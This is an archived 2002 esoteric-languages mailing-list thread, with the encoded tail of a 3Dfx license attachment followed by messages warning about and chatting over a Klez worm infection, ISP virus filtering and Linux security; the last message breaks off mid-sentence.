bGVtZW50LiBDb250cmFjdG9yL21hbnVmYWN0dXJlciBpcyAzRGZ4IEludGVyYWN0aXZlLCBJ
bmMuLA0KNDQzNSBGb3J0cmFuIERyaXZlLCBTYW4gSm9zZSwgQ2FsaWZvcm5pYSAgOTUxMzQu
DQoNCk9USEVSIEFHUkVFTUVOVDogIElmIHlvdSBoYXZlIGV4ZWN1dGVkIGFub3RoZXIgbGlj
ZW5zZSBhZ3JlZW1lbnQgd2l0aCAzRGZ4DQp3aXRoIHJlc3BlY3QgdG8gdGhlIE1hdGVyaWFs
cywgdGhlbiBub3R3aXRoc3RhbmRpbmcgYW55IG90aGVyIHRlcm0gaW4gdGhpcw0KQWdyZWVt
ZW50IHRoZSB0ZXJtcyBvZiB0aGF0IGxpY2Vuc2UgYWdyZWVtZW50IHNoYWxsIGNvbnRyb2wg
eW91ciB1c2Ugb2YgdGhlDQpNYXRlcmlhbHMuDQoNCk1JU0NFTExBTkVPVVMuICBTdWJqZWN0
IHRvIHRoZSBpbW1lZGlhdGVseSBwcmVjZWRpbmcgcGFyYWdyYXBoLCB0aGlzIEFncmVlbWVu
dA0KcmVwcmVzZW50cyB0aGUgY29tcGxldGUgYWdyZWVtZW50IGNvbmNlcm5pbmcgdGhpcyBs
aWNlbnNlIGFuZCBtYXkgYW1lbmRlZCBvbmx5DQpieSBhIHdyaXRpbmcgZXhlY3V0ZWQgYnkg
Ym90aCBwYXJ0aWVzLiAgSWYgYW55IHByb3Zpc2lvbiBvZiB0aGlzIEFncmVlbWVudCBpcw0K
aGVsZCB0byBiZSB1bmVuZm9yY2VhYmxlLCBzdWNoIHByb3Zpc2lvbiBzaGFsbCBiZSByZWZv
cm1lZCBvbmx5IHRvIHRoZSBleHRlbnQNCm5lY2Vzc2FyeSB0byBtYWtlIGl0IGVuZm9yY2Vh
YmxlLiAgVGhpcyBBZ3JlZW1lbnQgc2hhbGwgYmUgZ292ZXJuZWQgYnkNCkNhbGlmb3JuaWEs
IFUuUy5BLiBsYXcgKGV4Y2VwdCBmb3IgY29uZmxpY3Qgb2YgbGF3IHByb3Zpc2lvbnMpLiBU
aGUgYXBwbGljYXRpb24NCnRoZSBVbml0ZWQgTmF0aW9ucyBDb252ZW50aW9uIG9uIENvbnRy
YWN0cyBmb3IgdGhlIEludGVybmF0aW9uYWwgU2FsZSBvZiBHb29kcw0KaXMgZXhwcmVzc2x5
IGV4Y2x1ZGVkLg0KIA0KIjNEZnggSW50ZXJhY3RpdmUiLCB0aGUgM0RmeCBJbnRlcmFjdGl2
ZSBsb2dvLCBhbmQgb3RoZXIgM0RmeCBJbnRlcmFjdGl2ZQ0KcHJvZHVjdCBuYW1lcyBhcmUg
dHJhZGVtYXJrcywgYW5kIGluIHNvbWUganVyaXNkaWN0aW9ucyBtYXkgYmUgcmVnaXN0ZXJl
ZA0KdHJhZGVtYXJrcywgb2YgM0RmeCBJbnRlcmFjdGl2ZSBvciBpdHMgYWZmaWxpYXRlZCBj
b21wYW5pZXMuICBPdGhlciB0cmFkZW1hcmtzDQphcmUgdGhlIHByb3BlcnR5IG9mIHRoZWly
IHJlc3BlY3RpdmUgb3duZXJzLg0KDQpDb3B5cmlnaHQgMTk5NiwgMTk5NywgMTk5OCBieSAz
RGZ4IEludGVyYWN0aXZlLCBJbmMuICBBbGwgcmlnaHRzIHJlc2VydmVkLg0KDQ=9
--PZ04YBP356I1eU7Z3T3Q36sev9zE4jxh2--





From esoteric@oiva.sange.fi Tue May 28 18:04:47 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CiWc-000HWp-00; Tue, 28 May 2002 18:04:38 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 28 May 2002 18:04:31 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CiWJ-000HVg-00; Tue, 28 May 2002 18:04:19 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 28 May 2002 18:04:12 +0300 (EEST)
Received: from [194.78.208.93] (helo=decis.be)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CiWA-000HVa-00
	for lang@esoteric.sange.fi; Tue, 28 May 2002 18:04:11 +0300
Received: from decis.be [192.168.0.20] by decis.be [194.78.208.93]
	with SMTP (MDaemon.v3.5.3.R)
	for <lang@esoteric.sange.fi>; Tue, 28 May 2002 16:52:28 +0200
Message-ID: <3CF39DC7.FEA61745@decis.be>
Date: Tue, 28 May 2002 17:09:59 +0200
From: Frederic van der Plancke <fvdp@decis.be>
Organization: Decis
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] VIRUS ALERT Was: Re: Only to the extent
References: <E17Chgg-000HB6-00@oiva.sange.fi>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MDRemoteIP: 192.168.0.20
X-Return-Path: fvdp@decis.be
X-MDaemon-Deliver-To: lang@esoteric.sange.fi
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: fvdp@decis.be
Precedence: bulk
X-list: misc

The message "[lang] Only to the extent" from 
	akwende@worldmailer.com
(or is it
	Knpjzrj ([66.130.172.172]) by VL-MS-MR002.sc1.videotron.ca
?)
was signalled by Norton Antivirus as a worm named w32.klez.H@mm

Now is this both spam & worm at the same time ?
And why did I receive 2 worm or viruses in 24 hours - and no other in
the last 6 months ?

Frédéric vdP.






From esoteric@oiva.sange.fi Tue May 28 19:44:20 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Ck4p-000Hk1-00; Tue, 28 May 2002 19:44:03 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 28 May 2002 19:43:56 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Ck4O-000Hjq-00; Tue, 28 May 2002 19:43:36 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 28 May 2002 19:43:28 +0300 (EEST)
Received: from relais.videotron.ca ([24.201.245.36] helo=VL-MS-MR002.sc1.videotron.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Ck43-000Hjk-00; Tue, 28 May 2002 19:43:19 +0300
Received: from hubert ([66.130.172.172]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with SMTP id GWTYFY04.UDS; Tue, 28 May 2002 12:43:10 -0400 
Message-ID: <011f01c20666$8c9fa9e0$acac8242@hubert>
From: "Charles Lamontagne" <boulam@videotron.ca>
To: <yokikifloriane@aol.com>,
	"Yann Hamiaux" <yhamiaux@videotron.ca>,
	<vincebaux@hotmail.com>,
	"Terryn" <amc521@weekmail.com>,
	"Studio Don Graetz" <info@studiograetz.com>,
	"Stephane Hockenhull" <potam@sympatico.ca>,
	<smarie@clic.net>,
	<shimmergloom@att.net>,
	"Serge Provost" <sergeprovost@oricom.ca>,
	=?iso-8859-1?Q?S=E9bastien_Bouchard?= <starwar43@hotmail.com>,
	<raynald.bouchard@mic.gouv.qc.ca>,
	<radama23@hotmail.com>,
	<quartz108@hotmail.com>,
	<prioux@qc.aira.com>,
	"PostMasterDirect.com" <mailbox@netcreations.com>,
	"pierp" <pierp@videotron.ca>,
	"Philippe Filion - Picard" <beleg_cuthalion@tolkien.nu>,
	"Perreau, Denis_Pierre" <dpperreau@videotron.ca>,
	<pbedard@uqac.ca>,
	"Paul Lamontagne" <poljazz@aei.ca>,
	"Paul Bragiel" <paul@paragon5.com>,
	"Panu A Kalliokoski" <pkalliok@cs.Helsinki.FI>,
	"Omega" <omega@weekmail.com>,
	<normand.voyer@chm.ulaval.ca>,
	"Nick Whiting" <_nick@museigen.net>,
	<nazaire@videotron.ca>,
	<morelceline@hotmail.com>,
	"Jacques Chabot" <jacques.chabot3@videotron.ca>,
	=?iso-8859-1?Q?Andr=E9_Bourbonnais?= <andre.bourbonnais@sympatico.ca>,
	"Bruno Carpentier" <bcarpent@riq.qc.ca>,
	"Michel Magnan" <michel.magnan@agr.gouv.qc.ca>,
	"Michel et Diane" <miclam@videotron.ca>,
	<membres@ztele.com>,
	<mcorneau@mediom.qc.ca>,
	"Matt K." <code_name@hotmail.com>,
	<marlene.allard@sympatico.ca>,
	"Marlene Nordstrom" <Nordstromz@attbi.com>,
	"Marlene Nordstrom" <Nordstromz@mediaone.net>,
	<marie_pierre_boucher@hotmail.com>,
	"Mado-Bill Lyle" <madbill12@sympatico.ca>,
	<louislessard@sympatico.ca>,
	<listar@esoteric.sange.fi>,
	<lisemcken@videotron.ca>,
	=?iso-8859-1?Q?Lise_B=E9liveau?= <lbeliveau@sympatico.ca>,
	"Linda Turcotte" <linda.turcotte@mrq.gouv.qc.ca>,
	"Linda et Steve" <linda.steve@globetrotter.net>,
	<lilyane.marc@clic.zzn.com>,
	<lbfortin@videotron.ca>,
	<lang@esoteric.sange.fi>,
	"LAMONTAGNE, Jacques" <jacques.lamontagne@canadapost.postescanada.ca>,
	"Lamontagne, Charles" <charles.lamontagne@menv.gouv.qc.ca>,
	<keto@passagen.se>,
	<julie.lamontagne@chq.gouv.qc.ca>,
	<Julie.Bouchard@mrq.gouv.qc.ca>,
	<joseeguillemette@hotmail.com>,
	<jk.herman@sympatico.ca>,
	<jj-cat@sympatico.ca>,
	<jeanmercier@globetrotter.net>,
	"Jason Kendrick" <PhantomJK@hotmail.com>,
	"Jacques Lamontagne" <jacqueslamontagne@yahoo.com>,
	"Jacques Lamontagne" <jacques.lamontagne@canadapost.ca>,
	"Hugo Caron" <caronhugo@sympatico.ca>,
	<dominiquebaux@hotmail.com>,
	"Dominique Guay" <dominique.guay@mrq.gouv.qc.ca>,
	"Dominique Carle" <dcarle@aei.ca>,
	<dgil@globetrotter.net>,
	<denis.lapointe@videotron.ca>,
	"Denis Morin" <cvdm42@hotmail.com>,
	<daniellemaurel@hotmail.com>,
	<CordBar@aol.com>,
	<copepin@hotmail.com>,
	"Christine Veillet, Denis Morin" <cvdm@cgocable.ca>,
	"Charlie G" <spider@aether.dhs.org>,
	"Charles Lamontagne" <boulam@videotron.ca>,
	"Charles Andre Lamontagne" <chandrel@videotron.ca>,
	=?iso-8859-1?Q?Caroline_Blier-V=E9zina?= <carolinebv@hotmail.com>,
	"buzzmachines.com" <mva@buzzmachines.com>,
	"Born2Invest" <info@born2invest.com>,
	<bcarpent@inforoutefpt.org>,
	<bauxmagali@hotmail.com>,
	"Bastien Bouchard" <logique.multimedia@videotron.ca>,
	"AOL Instant Messenger" <register@newmn-r1.blue.aol.com>,
	"Anthony Sugden" <Gunnersug@btinternet.com>,
	"Anne Bigras" <bigrasaa@rogers.com>,
	<akwende@worldmailer.com>,
	<adrien.ratte@videotron.ca>,
	"\(christian\(L\) baux" <bauxc@hotmail.com>
Subject: [lang] Virus Warning/Attention Virus
Date: Tue, 28 May 2002 12:41:39 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_011C_01C20645.0354E2C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: boulam@videotron.ca
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: boulam@videotron.ca
Precedence: bulk
X-list: misc

This is a multi-part message in MIME format.

------=_NextPart_000_011C_01C20645.0354E2C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Okay, we've been infected with win32.klez, which sent itself to =
everybody on our email list. This virus uses a bug in internet explorer =
to install itself without the consent of the user. If you use internet =
explorer 5 service pack 1 or any older version, and have viewed the =
e-mails sent from here, you are probably infected - even if you refused =
to run the attachment included in the infected mail. You can find more =
info and an utility to remove the virus here: =
http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.e@mm.htm=
l

Nous avons =E9t=E9 infect=E9s par le virus win32.klez, qui s'est =
envoy=E9 =E0 toutes les adresses sur notre liste. Ce virus utilise un =
bug dans internet explorer pour s'installer =E0 l'insu de l'utilisateur. =
Si vous utilisez internet explorer 5 service pack 1 ou toute version =
plus vieille, et avez visionn=E9s les courriels evoy=E9s de cette =
adresse, vous =EAtes probablement infect=E9s - m=EAme si vous avez =
refus=E9 d'=E9x=E9cuter le fichier joint au courriel infect=E9. Pour =
plus d'informations(en anglais, malheureusement), et pour un programme =
pour =E9radiquer le virus de votre ordinateur, veuillez consulter ce =
site:
http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.e@mm.htm=
l


        Hubert "MadBrain" Lamontagne

------=_NextPart_000_011C_01C20645.0354E2C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Okay, we've been infected with =
win32.klez, which=20
sent itself to everybody on&nbsp;our email list. This virus uses a bug =
in=20
internet explorer to install itself without the consent of the user. If =
you use=20
internet explorer 5 service pack 1 or any older version, and have viewed =
the=20
e-mails sent from here, you are probably infected - even if you refused =
to run=20
the attachment included in the infected mail. You can find =
more&nbsp;info and an=20
utility to remove the virus here: <A=20
href=3D"http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.=
e@mm.html">http://securityresponse.symantec.com/avcenter/venc/data/w32.kl=
ez.e@mm.html</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Nous avons =E9t=E9 infect=E9s par le =
virus win32.klez,=20
qui s'est envoy=E9 =E0 toutes les adresses sur notre liste. Ce virus =
utilise un bug=20
dans internet explorer pour s'installer =E0 l'insu de l'utilisateur. Si =
vous=20
utilisez internet explorer 5 service pack 1 ou toute version plus =
vieille, et=20
avez visionn=E9s les courriels evoy=E9s de cette adresse, vous =EAtes =
probablement=20
infect=E9s - m=EAme si vous avez refus=E9 d'=E9x=E9cuter le fichier =
joint&nbsp;au courriel=20
infect=E9. Pour plus d'informations(en anglais, malheureusement), et =
pour un=20
programme pour =E9radiquer le virus de votre ordinateur, veuillez =
consulter ce=20
site:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://securityresponse.symantec.com/avcenter/venc/data/w32.klez.=
e@mm.html">http://securityresponse.symantec.com/avcenter/venc/data/w32.kl=
ez.e@mm.html</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
Hubert=20
"MadBrain" Lamontagne</FONT></DIV></BODY></HTML>

------=_NextPart_000_011C_01C20645.0354E2C0--






From esoteric@oiva.sange.fi Wed May 29 09:00:31 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CwVO-000JYi-00; Wed, 29 May 2002 09:00:18 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 29 May 2002 09:00:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CwUo-000JYQ-00; Wed, 29 May 2002 08:59:42 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 29 May 2002 08:59:35 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CwUf-000JYK-00
	for lang@esoteric.sange.fi; Wed, 29 May 2002 08:59:33 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g4T5xWO24576
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 08:59:32 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g4T5xU807158
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 08:59:30 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Wed, 29 May 2002 08:59:30 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: VIRUS ALERT Was: Re: Only to the extent
In-Reply-To: <3CF39DC7.FEA61745@decis.be>
Message-ID: <Pine.LNX.4.44.0205290853520.6613-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Tue, 28 May 2002, Frederic van der Plancke wrote:
> Now is this both spam & worm at the same time ?

Well, I think all self-propagating postings are also spam (because they're 
sent to their recipients obviously contrary to recipients' wills).

> And why did I receive 2 worm or viruses in 24 hours - and no other in
> the last 6 months ?

Today's worms usually are S-strategists (hope I remember the letters the
right way) - that is, instead of relying on intelligent behavior and
stealth, they put all their strength to rapid spreading. This is usually
made possible by extremely stupid users and extremely stupid security
holes in e-mail clients (should I mention the magic M$ word?), and the
worms are totally dependent on uniformity in the software choices of the
user base. As such, today's worms cause big temporary trouble, get quickly 
squished, and are quickly forgotten. (M$'s policy seems to be patching the 
holes as they get exploited, not as they are found.)

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Wed May 29 11:26:37 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Cymj-000Jzk-00; Wed, 29 May 2002 11:26:21 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 29 May 2002 11:26:14 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CymO-000Jze-00; Wed, 29 May 2002 11:26:00 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 29 May 2002 11:25:53 +0300 (EEST)
Received: from ctb-mesg2.saix.net ([196.25.240.74])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17CymE-000JzY-00
	for lang@esoteric.sange.fi; Wed, 29 May 2002 11:25:51 +0300
Received: from lennie (woc53-01-p192.wc.saix.net [155.239.129.192])
	by ctb-mesg2.saix.net (8.11.4/8.11.4) with SMTP id g4T8Pgd02093
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 10:25:44 +0200 (SAT)
Message-ID: <000201c206e9$9841f040$c081ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: "EsoLang Lang" <lang@esoteric.sange.fi>
Subject: [lang] Fortunatly For Me - Virus Blocking !
Date: Tue, 28 May 2002 19:41:59 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello Everybody,

Fortunatly for me my ISP check all me emails (outgoing/incomming) for
viruses and the virus was blocked before reaching me ! :)

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm







From esoteric@oiva.sange.fi Wed May 29 11:40:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Cz07-000K4y-00; Wed, 29 May 2002 11:40:11 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 29 May 2002 11:40:04 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Cyzp-000K4j-00; Wed, 29 May 2002 11:39:53 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 29 May 2002 11:39:45 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Cyzc-000K4d-00
	for lang@esoteric.sange.fi; Wed, 29 May 2002 11:39:44 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Wed, 29 May 2002 09:37:35 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Date: Wed, 29 May 2002 09:37:12 +0100
Message-ID: <000401c206ec$082053a0$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <000201c206e9$9841f040$c081ef9b@lennie>
Importance: Normal
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

same here

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of D De Villiers
Sent: 28 May 2002 18:42
To: EsoLang Lang
Subject: [lang] Fortunatly For Me - Virus Blocking !


Hello Everybody,

Fortunatly for me my ISP check all me emails (outgoing/incomming) for
viruses and the virus was blocked before reaching me ! :)

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za
Web Address: http://www.lando.co.za/Lennie
My CV: http://www.lando.co.za/Lennie/CV.htm





From esoteric@oiva.sange.fi Thu May 30 00:01:09 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DAYp-000M7Y-00; Thu, 30 May 2002 00:00:47 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 00:00:40 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DAXc-000M7D-00; Wed, 29 May 2002 23:59:33 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 29 May 2002 23:59:25 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DAXU-000M77-00
	for lang@esoteric.sange.fi; Wed, 29 May 2002 23:59:24 +0300
Received: from dds.nl (xs241-195-121.dial.tiscali.nl [195.241.195.121])
	by pandora.tiscali.nl (Postfix) with ESMTP id 65E703848F
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 22:59:22 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3CF54969.FFE2ADCF@dds.nl>
Date: Wed, 29 May 2002 23:34:33 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
References: <000201c206e9$9841f040$c081ef9b@lennie>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

D De Villiers wrote:

> Fortunatly for me my ISP check all me emails (outgoing/incomming) for
> viruses and the virus was blocked before reaching me ! :)

Yeah, but some ISPs might screw up and block something that shouldn't be, and
you'll never know what it was...

My solution: don't use software vulnerable to these virusses.  I have yet to
see a virus that can infect my Linux box...






From esoteric@oiva.sange.fi Thu May 30 00:48:19 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBI0-000MFL-00; Thu, 30 May 2002 00:47:28 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 30 May 2002 00:47:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBFW-000MFC-00; Thu, 30 May 2002 00:44:54 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 30 May 2002 00:44:47 +0300 (EEST)
Received: from static-dialup-isdn-ana.cu.soltec.net ([64.5.68.221] helo=study.anacroatan.org)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DBFO-000MF6-00
	for lang@esoteric.sange.fi; Thu, 30 May 2002 00:44:46 +0300
Received: from justin by study.anacroatan.org with local (Exim 3.12 #1 (Debian))
	id 17DBdE-0001eu-00
	for <lang@esoteric.sange.fi>; Wed, 29 May 2002 17:09:24 -0500
To: lang@esoteric.sange.fi
Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
Message-Id: <E17DBdE-0001eu-00@study.anacroatan.org>
From: justin@anacroatan.org
Date: Wed, 29 May 2002 17:09:24 -0500
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: justin@anacroatan.org
Precedence: bulk
X-list: misc

> From lang-bounce@esoteric.sange.fi Wed May 29 16:28:55 2002
> Envelope-to: justin@anacroatan.org
> Delivery-date: Wed, 29 May 2002 16:28:55 -0500
> Sender: root@pandora.tiscali.nl
> Date: Wed, 29 May 2002 23:34:33 +0200
> From: Milo van Handel <mwq@dds.nl>
> Organization: Milo-Soft
> X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
> MIME-Version: 1.0
> To: lang@esoteric.sange.fi
> Subject: [lang] Re: Fortunatly For Me - Virus Blocking !
> References: <000201c206e9$9841f040$c081ef9b@lennie>
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> X-listar-version: Listar v0.129a
> Sender: lang-bounce@esoteric.sange.fi
> Errors-to: lang-bounce@esoteric.sange.fi
> X-original-sender: mwq@dds.nl
> Precedence: bulk
> Reply-to: lang@esoteric.sange.fi
> X-list: lang

> D De Villiers wrote:

> > Fortunatly for me my ISP check all me emails (outgoing/incomming) for
> > viruses and the virus was blocked before reaching me ! :)

Milo van Handel wrote:

> Yeah, but some ISPs might screw up and block something that shouldn't be, and
> you'll never know what it was...

> My solution: don't use software vulnerable to these virusses.  I have yet to
> see a virus that can infect my Linux box...

How about a celular automata type programming language, where nodes that can
share data the most compatibly (read all each others .doc files and the other
guy's .tar.Bz2s) are the most vulnerable to viruses in the network coming from
"script kiddie" nodes. The nodes that are least vulnerable to these viruses
